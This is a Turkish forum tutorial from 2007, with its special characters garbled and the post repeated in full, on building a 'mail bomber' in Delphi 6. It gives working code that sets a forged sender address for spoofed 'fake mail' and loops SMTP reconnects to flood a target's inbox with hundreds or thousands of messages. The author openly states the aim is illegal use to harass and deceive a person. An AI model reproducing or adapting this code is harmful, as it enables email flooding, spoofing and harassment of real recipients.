delphi ile mail bombe hazırlamak(önemli)

crazy_kıvo · 04.02.2007

Delphi ile Mail Bomber Hazirlamak

Bu d?k?man?m?zda sizlere delphi 6 ile smtp serverlar?n? kullanarak mail yollanmas? ve bunu illegal olarak kullanman?n yollar?n? anlataca??m.

Gerekenler

1. Delphi 6
2. Smtp server adresleri

?imdi bir?eyler yapmaya ba?layal?m.?ncelikle formumuzu d?zenleyelim Formumuza ?ncelikle Fasnet Component tab?ndaki NMSMTP componentini yerle?tiriyoruz. Ard?ndan 3 tane editbox 1 tane memo 1 tane combobox 1 tane spinedit 3 tane label ve 1 tane de button yerle?tiriyoruz. Combobox?m?z?n items k?sm?na kullanaca??m?z smtp serverlar?n? yaz?yoruz mesela:Gmail ve Yahoo bunlar? se?erken dikkat etmemiz gereken tek ?ey elmizde bu adresin smtp server? mevcutmu?.

Form a istedi?iniz g?r?n?m? verdikten sonra geri kalan i?lerimizi kodlarla halletmemiz gerekiyor.

Butonumuzun onclick olay?n? a?a??daki gibi d?zenliyoruz.

procedure TForm1.Button1Click(Sender: TObject);
begin
Nmsmtp.Connect;//Az sonra belirtece?im smtp server?na ba?***?yoruz.
end;

Combobox?m?z?n OnChange olay?n? a?a??daki ?ekilde d?zenliyoruz Bu i?lem kullan?c?m?z?n mail yollayaca?? adresin smtp server?n? ayarlamam?za yarayacakt?r.

procedure TForm1.cb1Change(Sender: TObject);
begin
if cb1.ItemIndex=0 then
Nmsmtp.Host:=’mx3.mail.yahoo.com’;//combobox?n ilk itemi yani yahoo se?ili ise smtp server?n? at?yoruz.
if cb1.ItemIndex=1 then
Nmsmtp.Host:=’gsmtp171.google.com’;//combobox?n ikinci itemi yani gmail se?ili ise smtp server?n? at?yoruz.
end;

?imdi her?eyi hallettik mail?m?z? yollamam?z gerekiyor. Yapmam?z gereken ?ey smtp server a send komutu vermektir.
NMsmtp server ?n OnConnect olay?n? a?a??daki ?ekilde d?zenliyoruz...

procedure TForm1.mailConnect(Sender: TObject);
begin
Nmsmtp.PostMessage.ToAddress.Text:=edit1.Text;// G?nderilecek adresimizi edit1 in textinden aktar?yoruz
Nmsmtp.PostMessage.Subject:=edit2.Text;//G?derilecek konuyu edit2 nin text inden aktar?yoruz
Nmsmtp.PostMessage.FromAddress.Text:=edit3.Text;//G?derenin mail adresini edit3 ?n textinden aktar?yoruz
Nmsmtp.PostMessage.BOdy.Text:=memo1.Lines.Text;// g?nderilecek konuyu memo1 in i?eri?inden al?yoruz
label1.Caption:=’Ba?l?’;//Server a ba?land???m?z? bize bildirmesi i?in label1de belirtiyoruz.
Nmsmtp.SendMail;// ve mail ?m?z? yolluyoruz.
end;

Son olarak ba?ar?l? olup olmad???m?z? ??renme zaman? geldi. Bunun i?in Nmsmtp server?n OnSuccess olay?n? ??yle d?zenliyoruz.

procedure TForm1.mailSuccess(Sender: TObject);
begin
Nmsmtp.Disconnect;//server ile ba?lant?m?z? kesiyoruz.
label2.Caption:=’OK’;//bunu anlamak i?in label2 arac?l??? ile kendimizi bilgilendiriyoruz.
end;

Buraya kadar yaln?zca bir mail yollaman?n nas?l yap?laca??n? hep birlikte ??rendik.Bu y?ntemle kar??m?zdaki ki?iye fake mail yollayabiliriz. Gerekli html kodlar?n? memo1 diye adland?rd???m?z b?l?me yazarsak ve edit 3 diye adland?rd???m?z b?l?me mail?n kimden gitti?ini belirtirsek gayet g?zel bir fake mail yollam?? olursunuz.Yukardaki anllatt???m program yaln?zca Gmail ve Yahoo ya mail yollar di?er serverlara mail yollamak i?in combobox a girdi?imiz smtp serverlar?na ekleme yapabilirsiniz.

?imdi birden fazla mail ? otomatik olarak yollamay? ??renelim.
Ayn? kodlara birka? eklenti yapt???m?zda sorunumuz ??z?lecektir.
Formumuza ka? mail?n ba?ar?l? bir ?ekilde yolland???n? g?rmemizi sa?layacaak bir label daha ekleyelim.

Ve Nmsmtp server?n OnSuccess olay?n? ?u ?ekilde de?i?tirelim.

procedure TForm1.mailSuccess(Sender: TObject);
var x:integer;//saya? olarak kullanaca??m?z bir tam say? de?i?keni tan?ml?yoruz.

begin
Nmsmtp.Disconnect;//server ile ba?lant?m?z? kesiyoruz.
label7.Caption:=’OK’;/bunu anlamak i?in label2 arac?l??? ile kendimizi bilgilendiriyoruz.
x:=x+1;//Tan?mlad???m?z de?i?keni ba?ar?l? bir i?lem yapt???m?z i?in 1 artt?r?yoruz.
label3.Caption:=inttostr(x);//label3’e de?i?kenimizin de?erini string’e ?evirerek at?yoruz.
if se1.Value<>x then//e?er spineditte belirtti?imiz de?er le de?i?kenimiz e?it de?ilse
Nmsmtp.Connect;//smtp server?m?za yeniden ba?***?yoruz. Bu i?lem Spineditte belirtti?imiz de?erle de?i?kenimizin de?eri ed?itleninceye kadar devam edecektir.
end;

Yukarda anlatt???m program? haz?rlad???m?zda ki?inin mail adresini y?zlerce hatta binlerce mail ile doldurabiliriz veya fake mail atarak ki?imizi yan?ltabiliriz. Yapmam?z gereken tek ?ey hayal g?c?m?z? kullanmak.

04.02.2007	#1 (permalink)
crazy_kıvo Katılma Tarihi: Ağu 2006 Nereden: Türkiye Yaş: 12 Mesajlar: 753	delphi ile mail bombe hazırlamak(önemli) Delphi ile Mail Bomber Hazirlamak Bu d?k?man?m?zda sizlere delphi 6 ile smtp serverlar?n? kullanarak mail yollanmas? ve bunu illegal olarak kullanman?n yollar?n? anlataca??m. Gerekenler 1. Delphi 6 2. Smtp server adresleri ?imdi bir?eyler yapmaya ba?layal?m.?ncelikle formumuzu d?zenleyelim Formumuza ?ncelikle Fasnet Component tab?ndaki NMSMTP componentini yerle?tiriyoruz. Ard?ndan 3 tane editbox 1 tane memo 1 tane combobox 1 tane spinedit 3 tane label ve 1 tane de button yerle?tiriyoruz. Combobox?m?z?n items k?sm?na kullanaca??m?z smtp serverlar?n? yaz?yoruz mesela:Gmail ve Yahoo bunlar? se?erken dikkat etmemiz gereken tek ?ey elmizde bu adresin smtp server? mevcutmu?. Form a istedi?iniz g?r?n?m? verdikten sonra geri kalan i?lerimizi kodlarla halletmemiz gerekiyor. Butonumuzun onclick olay?n? a?a??daki gibi d?zenliyoruz. procedure TForm1.Button1Click(Sender: TObject); begin Nmsmtp.Connect;//Az sonra belirtece?im smtp server?na ba?*?yoruz. end; Combobox?m?z?n OnChange olay?n? a?a??daki ?ekilde d?zenliyoruz Bu i?lem kullan?c?m?z?n mail yollayaca?? adresin smtp server?n? ayarlamam?za yarayacakt?r. procedure TForm1.cb1Change(Sender: TObject); begin if cb1.ItemIndex=0 then Nmsmtp.Host:=’mx3.mail.yahoo.com’;//combobox?n ilk itemi yani yahoo se?ili ise smtp server?n? at?yoruz. if cb1.ItemIndex=1 then Nmsmtp.Host:=’gsmtp171.google.com’;//combobox?n ikinci itemi yani gmail se?ili ise smtp server?n? at?yoruz. end; ?imdi her?eyi hallettik mail?m?z? yollamam?z gerekiyor. Yapmam?z gereken ?ey smtp server a send komutu vermektir. NMsmtp server ?n OnConnect olay?n? a?a??daki ?ekilde d?zenliyoruz... procedure TForm1.mailConnect(Sender: TObject); begin Nmsmtp.PostMessage.ToAddress.Text:=edit1.Text;// G?nderilecek adresimizi edit1 in textinden aktar?yoruz Nmsmtp.PostMessage.Subject:=edit2.Text;//G?derilecek konuyu edit2 nin text inden aktar?yoruz Nmsmtp.PostMessage.FromAddress.Text:=edit3.Text;//G?derenin mail adresini edit3 ?n textinden aktar?yoruz Nmsmtp.PostMessage.BOdy.Text:=memo1.Lines.Text;// g?nderilecek konuyu memo1 in i?eri?inden al?yoruz label1.Caption:=’Ba?l?’;//Server a ba?land???m?z? bize bildirmesi i?in label1de belirtiyoruz. Nmsmtp.SendMail;// ve mail ?m?z? yolluyoruz. end; Son olarak ba?ar?l? olup olmad???m?z? ??renme zaman? geldi. Bunun i?in Nmsmtp server?n OnSuccess olay?n? ??yle d?zenliyoruz. procedure TForm1.mailSuccess(Sender: TObject); begin Nmsmtp.Disconnect;//server ile ba?lant?m?z? kesiyoruz. label2.Caption:=’OK’;//bunu anlamak i?in label2 arac?l??? ile kendimizi bilgilendiriyoruz. end; Buraya kadar yaln?zca bir mail yollaman?n nas?l yap?laca??n? hep birlikte ??rendik.Bu y?ntemle kar??m?zdaki ki?iye fake mail yollayabiliriz. Gerekli html kodlar?n? memo1 diye adland?rd???m?z b?l?me yazarsak ve edit 3 diye adland?rd???m?z b?l?me mail?n kimden gitti?ini belirtirsek gayet g?zel bir fake mail yollam?? olursunuz.Yukardaki anllatt???m program yaln?zca Gmail ve Yahoo ya mail yollar di?er serverlara mail yollamak i?in combobox a girdi?imiz smtp serverlar?na ekleme yapabilirsiniz. ?imdi birden fazla mail ? otomatik olarak yollamay? ??renelim. Ayn? kodlara birka? eklenti yapt???m?zda sorunumuz ??z?lecektir. Formumuza ka? mail?n ba?ar?l? bir ?ekilde yolland???n? g?rmemizi sa?layacaak bir label daha ekleyelim. Ve Nmsmtp server?n OnSuccess olay?n? ?u ?ekilde de?i?tirelim. procedure TForm1.mailSuccess(Sender: TObject); var x:integer;//saya? olarak kullanaca??m?z bir tam say? de?i?keni tan?ml?yoruz. begin Nmsmtp.Disconnect;//server ile ba?lant?m?z? kesiyoruz. label7.Caption:=’OK’;/bunu anlamak i?in label2 arac?l??? ile kendimizi bilgilendiriyoruz. x:=x+1;//Tan?mlad???m?z de?i?keni ba?ar?l? bir i?lem yapt???m?z i?in 1 artt?r?yoruz. label3.Caption:=inttostr(x);//label3’e de?i?kenimizin de?erini string’e ?evirerek at?yoruz. if se1.Value<>x then//e?er spineditte belirtti?imiz de?er le de?i?kenimiz e?it de?ilse Nmsmtp.Connect;//smtp server?m?za yeniden ba??yoruz. Bu i?lem Spineditte belirtti?imiz de?erle de?i?kenimizin de?eri ed?itleninceye kadar devam edecektir. end; Yukarda anlatt???m program? haz?rlad???m?zda ki?inin mail adresini y?zlerce hatta binlerce mail ile doldurabiliriz veya fake mail atarak ki?imizi yan?ltabiliriz. Yapmam?z gereken tek ?ey hayal g?c?m?z? kullanmak. __________________ B.Girildek ve Canerxxx Ailesine () Bir Ömür Boyu Mutluluklar Dileriz..*

Benzer Konular
Konu	Konuyu Başlatan	Forum	Cevaplar	Son Mesaj
Web Sitesini İndeksleyecek Bir Arama Motoru Hazırlamak(Php)	staticiation	Web Geliştirme Dilleri	0	09.06.2007 14:08
web sitesi hazırlamak artık çok kolay	dj_mc_ozo	P-Q-R-S-T	0	30.05.2007 19:12
[resimli]XP SP2 CD hazırlamak	kaderkeskin	Resimli Program Anlatım	2	26.05.2007 08:41
Windows Sp2 Kurulum Cd'si Hazırlamak	INTERCOM	Yazılım	1	14.12.2006 15:17
teLevizyoNumuzu Yayına HazıRLamak .	MaStEr	Resim, Grafik, Tasarım	3	01.07.2006 03:43

Şu Anda Konuyu İnceleyen Aktif Kullanıcılar: 1 (0 üye ve 1 misafir)

Konu Araçları
Yazıcı Çıktısını Göster Sayfayı Emaille Yolla